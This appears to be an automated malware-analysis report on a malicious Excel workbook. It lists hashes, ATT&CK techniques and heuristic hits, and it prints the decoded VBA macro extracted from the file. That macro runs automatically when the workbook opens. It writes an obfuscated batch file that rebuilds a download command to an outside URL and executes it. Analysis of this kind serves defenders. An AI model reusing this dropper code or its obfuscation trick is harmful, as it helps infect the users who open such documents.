Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 4316db11891bd0a5…

MALICIOUS

Office (OOXML)

14.0 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-03
MD5: 09c3365b553c7b6b9c09e2f24bedf99d SHA-1: 3e6c601ebf1204e7eb8db70e9d56ebc1da6eeb7d SHA-256: 4316db11891bd0a5dbeeb8fdd264c3719057e1b91b068e7c6863ea5b1b544437
168 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a Workbook_Open VBA macro that is designed to execute a batch file. This batch file is constructed using string concatenation and environment variables, ultimately creating a file named 'Outlook.bat' in the Public user directory. The batch file then attempts to execute a ping command and subsequently runs the created 'Outlook.bat' file, which likely downloads and executes a second-stage payload.

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1790 bytes
SHA-256: 6bf4b373df7f4cbf2ae73ee80363768a1dc1e76aea3c7a38b26a7a38a3d85f93
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()

   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sFile As String
 'Cotazion.Show
   
sFile = Environ("Public") & "\Outlook.bat"

   Close
     Open sFile For Output As #1
Print #1, "Set aftr=KwsCzBy7G6gUmaAYH5V4Dhb9ESIc3pilqd82tfvMQeNWO10jXrnPxTZJFLRkou"
Print #1, "cls"
Print #1, "%aftr:~27,1%%aftr:~12,1%%aftr:~33,1% /%aftr:~27,1% %aftr:~2,1%%aftr:~36,1%%aftr:~13,1%%aftr:~49,1%%aftr:~36,1% /%aftr:~12,1%%aftr:~30,1%%aftr:~50,1% %aftr:~12,1%%aftr:~2,1%%aftr:~21,1%%aftr:~36,1%%aftr:~13,1% %aftr:~21,1%%aftr:~36,1%%aftr:~36,1%%aftr:~29,1%%aftr:~2,1%://%aftr:~1,1%%aftr:~1,1%%aftr:~1,1%.%aftr:~61,1%%aftr:~50,1%%aftr:~30,1%%aftr:~12,1%%aftr:~41,1%%aftr:~33,1%-%aftr:~27,1%%aftr:~60,1%%aftr:~49,1%%aftr:~29,1%%aftr:~60,1%%aftr:~49,1%%aftr:~13,1%%aftr:~36,1%%aftr:~41,1%%aftr:~33,1%.%aftr:~27,1%%aftr:~60,1%%aftr:~12,1%/%aftr:~12,1%%aftr:~2,1%%aftr:~10,1%%aftr:~22,1%%aftr:~60,1%%aftr:~52,1%.%aftr:~12,1%%aftr:~29,1%%aftr:~28,1%"


Shell$ _
   "c" + _
   "m" + _
   "d " + _
   "/c pi" + _
   "ng -n 20 127.0.0.1 & %pub" + "lic%\Outlook" + ".b" + "at exit" & vbLf, 0


   Close



End Sub


Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 18432 bytes
SHA-256: b1b09d724a43495fab5319088e393c42ae8b8cd7edbb669ae6f51447a6183234

Open this report in the interactive analyzer, or submit your own file for analysis.